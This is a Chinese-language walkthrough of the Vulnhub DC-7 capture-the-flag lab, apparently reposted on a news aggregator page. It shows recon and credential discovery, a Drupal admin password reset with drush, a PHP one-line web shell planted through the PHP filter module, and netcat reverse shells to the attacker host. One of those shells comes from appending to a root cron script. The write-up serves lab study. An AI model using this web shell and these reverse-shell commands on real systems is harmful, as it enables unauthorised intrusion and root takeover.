当前位置: 首页 > news >正文

【Vulnhub靶场】DC-7

DC-7靶机下载地址:https://www.five86.com/downloads/DC-7.zip

目标

本机IP:192.168.118.128

靶机IP:192.168.118.0/24

信息收集

nmap存活主机探测,端口扫描,全服务扫描

nmap -sP 192.168.118.0/24nmap -p- 192.168.118.144nmap -sV -A 192.168.118.144

第一步得到存活ip为:192.168.118.144

这里探测出开放了22端口和80端口

查看web服务:http://192.168.118.144

首先猜测其CMS为Drupal,使用whatweb查看一下,是这样的

主页提示我们跳出思维惯性,不能暴力破解,应该换种方法进行渗透

扫描目录查看一下

dirsearch -u http://192.168.118.144

访问扫描到的目录,特殊的有一个后台登录 /user/login

代码审计

而且,每个页面左下角都有个@DC7USER,结合首页作者给出的提示,这里可以猜测是否有源码泄露,搜索一下,源码被泄露了

进去查看,成功在其配置文件里找到了一个账号密码,虽然不知道具体是干啥的,但相信肯定是有用的咯

拿到账号密码(dc7user :MdR3xOgB7#dW)

首先尝试登录后台,发现登录失败

想到前面开放的22端口,尝试使用SSH登录,登录成功

ssh dc7user@192.168.118.144

探索过程中,首先引眼帘就是这个邮件地址了

cat进去查看邮件,发现里面有root和两个文件地址

查看一下 backups.sh 文件

发现是一个root的定时文件,想要在里面直接反弹shell,但是查看后发现没有写入权限

在这里看到 backups.sh 文件里面执行了drush命令,执行的文件是/home/dc7user/backups/website.sql

发现了个drush命令,这个是drupal专属的一个操作系统命令,参考:https://zhuanlan.zhihu.com/p/60880048

drush是一个shell接口,用于从云服务器命令行管理Drupal。

需要在 drupal web目录执行(/var/www/html)

使用 drup 更改密码运行命令(drush user-password admin --password="new_pass")

drush修改密码

首先切换到drupal web目录,然后查看管理员账号admin

cd /var/www/htmldrush user-information admin

修改管理员admin密码为123456

drush upwd admin --password="123456"

使用修改后的密码登录后台(admin :123456),登录成功

Getshell

想办法写个木马就进行反弹shell

在下面这个地方找到了编辑文件并上传的地方,但是没有PHP解释器

后面查了一下因为dc7的CMS是Drupal8,已经移除了PHP Filter(php过滤器),后续作为一个模组存在,可以手动安装

添加下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz ,然后点击开始安装

我这里失败了,直接在浏览器下载后直接上传后再安装

install安装成功,点击next steps里的enable newly added modules(启用新添加的模块)激活php模块,下滑找到 php fliter 勾选之后选择安装,安装成功

直接点击主页里面的DC-7,修改里面的内容为一句话木马,选择format为php code

<?php $var=shell_exec($_GET['cmd']);echo $var ?>

上传成功后再url后面拼接 ?cmd=ls ,成功回显,木马上传成功

反弹shell

nc -lvvp 6666192.168.118.144/node/1?cmd=nc+-e+/bin/bash+192.168.118.128+6666

成功得到shell,发现不是稳定shell,上传脚本升级为交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

 提权

接下来的思路即为提权。通过上面的分析我们发现,root用户会定期执行backups.sh脚本。

而此时用户www-data存在着写权限,那么即可尝试将反弹shell的脚本写入backups.sh脚本

那么等待反弹即可获得root权限

nc -lvvp 6688echo 'nc -e /bin/bash 192.168.118.128 6688' >> opt/scripts/backups.sh

 

在 www-data 权限下将反弹shell写入backups.sh,在kali主机等待,由计划任务可知,这个脚本每过15分钟即执行一次,所以等待反弹shell成功即可

反弹shell成功后,即可获得root权限,最后成功在 /root目录下找到flag


http://www.mrgr.cn/news/62198.html

相关文章:

  • 前端路由layout布局处理以及菜单交互(三)
  • 【QT】增删改查 XML 文件的类
  • Visual Point Cloud Forecasting enables Scalable Autonomous Driving——点云论文阅读(12)
  • RFID智能档案柜:涉密档案的安全卫士
  • 2025年度全国会计专业技术资格考试 (甘肃考区)报名公告
  • Windows 环境配置 HTTPS 服务实战
  • YOLOv9模型重新参数化,将yolo.pt转为yolo-converted.pt
  • 长文 | 我如何使用 git
  • 【JavaEE】【多线程】进阶知识
  • Comsol CPU水冷散热系统流热固多场耦合仿真
  • el-datepicker此刻按钮点击失效
  • ts:常见的内置数学方法(Math)
  • 面向对象编程——重写和多态
  • UART-通用异步收发器
  • 推荐使用 CompletableFuture 框架进行异步操作,很强很方便
  • 从一到无穷大 #38:讨论 “Bazel 集成仅使用 Cmake 的依赖项目” 通用方法
  • 智航船舶租赁综合管理系统
  • 【C++刷题】力扣-#575-分糖果
  • python的lambda实用技巧
  • 深度学习之激活函数
  • 避免关键任务延迟的资源分配方法
  • Golang高级语法-工具链
  • 拓展学习-golang的基础语法和常用开发工具
  • 博科交换机SNMP采集(光衰)信息
  • 【FinalShell问题】FinalShell连接虚拟机超时问题
  • 「Mac畅玩鸿蒙与硬件14」鸿蒙UI组件篇4 - Toggle 和 Checkbox 组件